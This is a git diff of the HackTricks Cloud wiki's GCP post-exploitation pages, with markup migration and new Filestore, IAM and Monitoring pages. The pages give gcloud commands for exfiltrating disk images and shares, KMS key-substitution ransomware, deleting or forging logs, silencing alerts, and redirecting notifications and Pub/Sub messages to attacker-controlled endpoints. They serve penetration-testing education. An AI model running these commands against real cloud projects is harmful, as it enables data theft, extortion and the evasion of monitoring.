-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
similarity index 52%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
index 95ba0b1c6..9ef2e128a 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
@@ -1,27 +1,14 @@
 # GCP - Compute Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Compute
 
 For more information about Compute and VPC (Networking) check:
 
-{% content-ref url="../gcp-services/gcp-compute-instances-enum/" %}
-[gcp-compute-instances-enum](../gcp-services/gcp-compute-instances-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-compute-instances-enum/
+{{#endref}}
 
 ### Export & Inspect Images locally
 
@@ -29,31 +16,28 @@ This would allow an attacker to **access the data contained inside already exist
 
 It's possible to export a VM image to a bucket and then download it and mount it locally with the command:
 
-{% code overflow="wrap" %}
 ```bash
 gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
 # The download the export from the bucket and mount it locally
 ```
-{% endcode %}
 
 Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
 Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
 The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
 
-* roles/iam.serviceAccountTokenCreator
-* roles/compute.admin
-* roles/iam.serviceAccountUser
+- roles/iam.serviceAccountTokenCreator
+- roles/compute.admin
+- roles/iam.serviceAccountUser
 
 And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
 
-* oles/compute.storageAdmin
-* roles/storage.objectAdmin
+- oles/compute.storageAdmin
+- roles/storage.objectAdmin
 
 ### Export & Inspect Snapshots & Disks locally
 
 It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally
 
-{% code overflow="wrap" %}
 ```bash
 # Create a Disk from a snapshot
 gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -61,7 +45,6 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
 # Create an image from a disk
 gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
 ```
-{% endcode %}
 
 ### Inspect an Image creating a VM
 
@@ -116,32 +99,22 @@ Mount the disk inside the VM:
     ```sh
     gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
     ```
-2. **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
-3. **Format and Mount the Disk** (if it's a new or raw disk):
-   *   Create a mount point:
 
-       ```sh
-       sudo mkdir -p /mnt/disks/[MOUNT_DIR]
-       ```
-   *   Mount the disk:
+2.  **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
+3.  **Format and Mount the Disk** (if it's a new or raw disk):
 
-       ```sh
-       sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
-       ```
+    - Create a mount point:
+
+      ```sh
+      sudo mkdir -p /mnt/disks/[MOUNT_DIR]
+      ```
+
+    - Mount the disk:
+
+      ```sh
+      sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
+      ```
 
 If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
new file mode 100644
index 000000000..7300de2e5
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
@@ -0,0 +1,100 @@
+# GCP - Filestore Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Filestore
+
+For more information about Filestore check:
+
+{{#ref}}
+../gcp-services/gcp-filestore-enum.md
+{{#endref}}
+
+### Mount Filestore
+
+A shared filesystem **might contain sensitive information** interesting from an attackers perspective. With access to the Filestore it's possible to **mount it**:
+
+```bash
+sudo apt-get update
+sudo apt-get install nfs-common
+# Check the share name
+showmount -e <IP>
+# Mount the share
+mkdir /mnt/fs
+sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
+```
+
+To find the IP address of a filestore insatnce check the enumeration section of the page:
+
+{{#ref}}
+../gcp-services/gcp-filestore-enum.md
+{{#endref}}
+
+### Remove Restrictions and get extra permissions
+
+If the attacker isn't in an IP address with access over the share, but you have enough permissions to modify it, it's possible to remover the restrictions or access over it. It's also possible to grant more privileges over your IP address to have admin access over the share:
+
+```bash
+gcloud filestore instances update nfstest \
+    --zone=<exact-zone> \
+    --flags-file=nfs.json
+
+# Contents of nfs.json
+{
+  "--file-share":
+  {
+    "capacity": "1024",
+    "name": "<share-name>",
+    "nfs-export-options": [
+      {
+        "access-mode": "READ_WRITE",
+        "ip-ranges": [
+          "<your-ip-private-address>/32"
+        ],
+        "squash-mode": "NO_ROOT_SQUASH",
+        "anon_uid": 1003,
+        "anon_gid": 1003
+      }
+    ]
+  }
+}
+```
+
+### Restore a backup
+
+If there is a backup it's possible to **restore it** in an existing or in a new instance so its **information becomes accessible:**
+
+```bash
+# Create a new filestore if you don't want to modify the old one
+gcloud filestore instances create <new-instance-name> \
+    --zone=<zone> \
+    --tier=STANDARD \
+    --file-share=name=vol1,capacity=1TB \
+    --network=name=default,reserved-ip-range=10.0.0.0/29
+
+# Restore a backups in a new instance
+gcloud filestore instances restore <new-instance-name> \
+    --zone=<zone> \
+    --file-share=<instance-file-share-name> \
+    --source-backup=<backup-name> \
+    --source-backup-region=<backup-region>
+
+# Follow the previous section commands to mount it
+```
+
+### Create a backup and restore it
+
+If you **don't have access over a share and don't want to modify it**, it's possible to **create a backup** of it and **restore** it as previously mentioned:
+
+```bash
+# Create share backup
+gcloud filestore backups create <back-name> \
+    --region=<region> \
+    --instance=<instance-name> \
+    --instance-zone=<instance-zone> \
+    --file-share=<share-name>
+
+# Follow the previous section commands to restore it and mount it
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
new file mode 100644
index 000000000..eadadc6f6
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
@@ -0,0 +1,29 @@
+# GCP - IAM Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
+
+You can find further information about IAM in:
+
+{{#ref}}
+../gcp-services/gcp-iam-and-org-policies-enum.md
+{{#endref}}
+
+### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
+
+Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
+
+To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
+
+You can use the following command to **grant a user the primitive role of Editor** to your existing project:
+
+```bash
+gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
+```
+
+If you succeeded here, try **accessing the web interface** and exploring from there.
+
+This is the **highest level you can assign using the gcloud tool**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
similarity index 72%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
index fb4c0cdd1..fbfbf734a 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
@@ -1,27 +1,14 @@
 # GCP - KMS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## KMS
 
 Find basic information about KMS in:
 
-{% content-ref url="../gcp-services/gcp-kms-enum.md" %}
-[gcp-kms-enum.md](../gcp-services/gcp-kms-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-kms-enum.md
+{{#endref}}
 
 ### `cloudkms.cryptoKeyVersions.destroy`
 
@@ -78,18 +65,16 @@ In AWS it's possible to completely **steal a KMS key** by modifying the KMS reso
 
 However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
 
-* Create a new **version of the key with a key material** imported by the attacker
+- Create a new **version of the key with a key material** imported by the attacker
 
-{% code overflow="wrap" %}
 ```bash
 gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
 ```
-{% endcode %}
 
-* Set it as **default version** (for future data being encrypted)
-* **Re-encrypt older data** encrypted with the previous version with the new one.
-* **Delete the KMS key**
-* Now only the attacker, who has the original key material could be able to decrypt the encrypted data
+- Set it as **default version** (for future data being encrypted)
+- **Re-encrypt older data** encrypted with the previous version with the new one.
+- **Delete the KMS key**
+- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
 
 #### Here are the steps to import a new version and disable/delete the older data:
 
@@ -128,7 +113,7 @@ gcloud kms keys versions import \
     --location us-central1 \
     --keyring kms-lab-2-keyring \
     --key kms-lab-2-key \
-    --algorithm "google-symmetric-encryption" \ 
+    --algorithm "google-symmetric-encryption" \
     --target-key-file my-key-material.bin
 
 # Get versions
@@ -269,17 +254,4 @@ verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key
 print('Verified:', verified)
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
similarity index 55%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index 9217a9fad..c63578d82 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -1,33 +1,20 @@
 # GCP - Logging Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Basic Information
 
 For more information check:
 
-{% content-ref url="../gcp-services/gcp-logging-enum.md" %}
-[gcp-logging-enum.md](../gcp-services/gcp-logging-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-logging-enum.md
+{{#endref}}
 
 For other ways to disrupt monitoring check:
 
-{% content-ref url="gcp-monitoring-post-exploitation.md" %}
-[gcp-monitoring-post-exploitation.md](gcp-monitoring-post-exploitation.md)
-{% endcontent-ref %}
+{{#ref}}
+gcp-monitoring-post-exploitation.md
+{{#endref}}
 
 ### Default Logging
 
@@ -39,7 +26,6 @@ In [https://console.cloud.google.com/iam-admin/audit/allservices](https://consol
 
 ### Read logs - `logging.logEntries.list`
 
-{% code overflow="wrap" %}
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -49,35 +35,28 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
 
 # Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default
 ```
-{% endcode %}
 
 ### `logging.logs.delete`
 
-{% code overflow="wrap" %}
 ```bash
 # Delete all entries from a log in the _Default log bucket - logging.logs.delete
 gcloud logging logs delete <log-name>
 ```
-{% endcode %}
 
 ### Write logs - `logging.logEntries.create`
 
-{% code overflow="wrap" %}
 ```bash
 # Write a log entry to try to disrupt some system
 gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 ```
-{% endcode %}
 
 ### `logging.buckets.update`
 
-{% code overflow="wrap" %}
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
 gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
 ```
-{% endcode %}
 
 ### `logging.buckets.delete`
 
@@ -88,12 +67,10 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
 
 ### `logging.links.delete`
 
-{% code overflow="wrap" %}
 ```bash
 # Delete link
 gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 ```
-{% endcode %}
 
 ### `logging.views.delete`
 
@@ -104,21 +81,17 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 ### `logging.views.update`
 
-{% code overflow="wrap" %}
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
 ```
-{% endcode %}
 
 ### `logging.logMetrics.update`
 
-{% code overflow="wrap" %}
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
 ```
-{% endcode %}
 
 ### `logging.logMetrics.delete`
 
@@ -136,7 +109,6 @@ gcloud logging sinks delete <sink-name>
 
 ### `logging.sinks.update`
 
-{% code overflow="wrap" %}
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -145,7 +117,7 @@ gcloud logging sinks update <sink-name> --disabled
 gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"
 
 # Change where the sink is storing the data - logging.sinks.update
-gcloud logging sinks update <sink-name> new-destination 
+gcloud logging sinks update <sink-name> new-destination
 
 # Change the service account to one withuot permissions to write in the destination - logging.sinks.update
 gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID
@@ -157,19 +129,5 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
 gcloud logging sinks update SINK_NAME --use-partitioned-tables
 gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
new file mode 100644
index 000000000..d8efaccd1
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
@@ -0,0 +1,114 @@
+# GCP - Monitoring Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Monitoring
+
+Fore more information check:
+
+{{#ref}}
+../gcp-services/gcp-monitoring-enum.md
+{{#endref}}
+
+For other ways to disrupt logs check:
+
+{{#ref}}
+gcp-logging-post-exploitation.md
+{{#endref}}
+
+### `monitoring.alertPolicies.delete`
+
+Delete an alert policy:
+
+```bash
+gcloud alpha monitoring policies delete <policy>
+```
+
+### `monitoring.alertPolicies.update`
+
+Disrupt an alert policy:
+
+```bash
+# Disable policy
+gcloud alpha monitoring policies update <alert-policy> --no-enabled
+
+# Remove all notification channels
+gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels
+
+# Chnage notification channels
+gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL
+
+# Modify alert conditions
+gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
+# or use --policy-from-file <policy-file>
+```
+
+### `monitoring.dashboards.update`
+
+Modify a dashboard to disrupt it:
+
+```bash
+# Disrupt dashboard
+gcloud monitoring dashboards update <dashboard> --config='''
+  displayName: New Dashboard with New Display Name
+  etag: 40d1040034db4e5a9dee931ec1b12c0d
+  gridLayout:
+    widgets:
+    - text:
+        content: Hello World
+  '''
+```
+
+### `monitoring.dashboards.delete`
+
+Delete a dashboard:
+
+```bash
+# Delete dashboard
+gcloud monitoring dashboards delete <dashboard>
+```
+
+### `monitoring.snoozes.create`
+
+Prevent policies from generating alerts by creating a snoozer:
+
+```bash
+# Stop alerts by creating a snoozer
+gcloud monitoring snoozes create --display-name="Maintenance Week" \
+    --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
+    --start-time="2023-03-01T03:00:00.0-0500" \
+    --end-time="2023-03-07T23:59:59.5-0500"
+```
+
+### `monitoring.snoozes.update`
+
+Update the timing of a snoozer to prevent alerts from being created when the attacker is interested:
+
+```bash
+# Modify the timing of a snooze
+gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
+
+# odify everything, including affected policies
+gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
+```
+
+### `monitoring.notificationChannels.delete`
+
+Delete a configured channel:
+
+```bash
+# Delete channel
+gcloud alpha monitoring channels delete <channel>
+```
+
+### `monitoring.notificationChannels.update`
+
+Update labels of a channel to disrupt it:
+
+```bash
+# Delete or update labels, for example email channels have the email indicated here
+gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
+gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
similarity index 56%
rename from pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
rename to src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index ea3325a93..62f11337f 100644
--- a/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -1,27 +1,14 @@
 # GCP - Pub/Sub Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Pub/Sub
 
 For more information about Pub/Sub check the following page:
 
-{% content-ref url="../gcp-services/gcp-pub-sub.md" %}
-[gcp-pub-sub.md](../gcp-services/gcp-pub-sub.md)
-{% endcontent-ref %}
+{{#ref}}
+../gcp-services/gcp-pub-sub.md
+{{#endref}}
 
 ### `pubsub.topics.publish`
 
@@ -61,12 +48,10 @@ Give yourself permission to perform any of the previous attacks.
 
 Get all the messages in a web server:
 
-{% code overflow="wrap" %}
 ```bash
 # Crete push subscription and recieve all the messages instantly in your web server
 gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
 ```
-{% endcode %}
 
 Create a subscription and use it to **pull messages**:
 
@@ -91,11 +76,9 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
 
 Use this permission to update some setting so messages are stored in a place you can access (URL, Big Query table, Bucket) or just to disrupt it.
 
-{% code overflow="wrap" %}
 ```bash
 gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
 ```
-{% endcode %}
 
 ### `pubsub.subscriptions.setIamPolicy`
 
@@ -106,25 +89,23 @@ Give yourself the permissions needed to perform any of the previously commented
 Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\
 If there aren't any schemas you might need to create one.
 
-{% code title="schema.json" %}
-```json
+```json:schema.json
 {
-    "namespace": "com.example",
-    "type": "record",
-    "name": "Person",
-    "fields": [
-        {
-            "name": "name",
-            "type": "string"
-        },
-        {
-            "name": "age",
-            "type": "int"
-        }
-    ]
+  "namespace": "com.example",
+  "type": "record",
+  "name": "Person",
+  "fields": [
+    {
+      "name": "name",
+      "type": "string"
+    },
+    {
+      "name": "age",
+      "type": "int"
+    }
+  ]
 }
 ```
-{% endcode %}
 
 ```bash
 # Attach new schema
@@ -156,17 +137,4 @@ gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
     --snapshot=YOUR_SNAPSHOT_NAME
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
